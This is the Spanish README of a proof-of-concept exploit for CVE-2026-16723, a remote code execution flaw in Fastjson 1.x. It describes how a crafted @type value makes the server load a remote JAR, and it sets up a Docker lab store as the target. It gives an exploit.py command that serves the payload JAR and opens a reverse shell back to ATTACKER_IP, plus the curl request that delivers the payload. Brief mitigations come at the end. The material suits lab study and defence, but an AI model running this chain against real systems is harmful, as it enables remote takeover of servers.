
Prueba de concepto de exploit para CVE-2026-16723, una vulnerabilidad de ejecución remota de código en Fastjson 1.x @JSONType, con un generador de JAR de payload y un listener de reverse shell.
★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723 es una vulnerabilidad de Ejecución Remota de Código (RCE) en Fastjson 1.x (1.2.68 – 1.2.83). Cuando Fastjson analiza JSON controlado por el atacante, un valor
@typemanipulado se convierte en una búsqueda de recurso de clase dentro decheckAutoType. En un fat-JAR ejecutable de Spring Boot, el cargador de clases resuelve ese nombre como una URLjar:http://y obtiene un JAR remoto (SSRF), luego carga una clase que lleva la anotación@JSONTypeaunque AutoType esté deshabilitado. Debido a que un JDK / Tomcat moderno rechaza el nombre binariojar:http://, la variante fiable inserta el JAR en la caché de la JVM y lo vuelve a leer a través dejar:file:/proc/self/fd/N, de modo que la clase se define y su inicializador estático se ejecuta, otorgando ejecución de código. AutoType permanece deshabilitado y no se requiere ningún gadget del classpath.
| Categoría | Versión |
|---|---|
| Vulnerable | Fastjson 1.2.68 ≤ versión ≤ 1.2.83 |
| Parcheada | Migrar a Fastjson 2.x (no hay versión 1.x corregida) |
El objetivo del laboratorio es una tienda pública (Northwind Store) cuya API de búsqueda enlaza
su cuerpo de solicitud con Fastjson. Todo es la configuración predeterminada de Fastjson:
SafeMode desactivado, AutoType desactivado, empaquetado como un fat-JAR de Spring Boot.
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| Precondición | Estado en este laboratorio |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| fat-JAR ejecutable de Spring Boot | sí |
| Ruta de análisis JSON no autenticada | POST /api/products/search |
| SafeMode / AutoType | predeterminado (ambos desactivados) |
El atacante y el objetivo se ejecutan en la misma red bridge de Docker, por lo que el objetivo alcanza al atacante como una conexión saliente (no se publica ningún puerto adicional).
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
exploit.py construye el JAR del payload, lo sirve, inicia un listener e imprime
el cuerpo de la solicitud. Solo se requiere la dirección de callback.
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
Pega el cuerpo impreso en el endpoint de búsqueda (Burp Repeater o curl) y
envíalo. La solicitud de búsqueda es una funcionalidad normal; solo su cuerpo JSON está manipulado.
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
El código se ejecuta como la cuenta de servicio. Recupera la flag a través de la shell obtenida:
whoami
com.alibaba:fastjson:1.2.83_noneautotype-Dfastjson.parser.safeMode=true@type de JSON que contengan patrones jar:http o jar:file / /proc/self/fd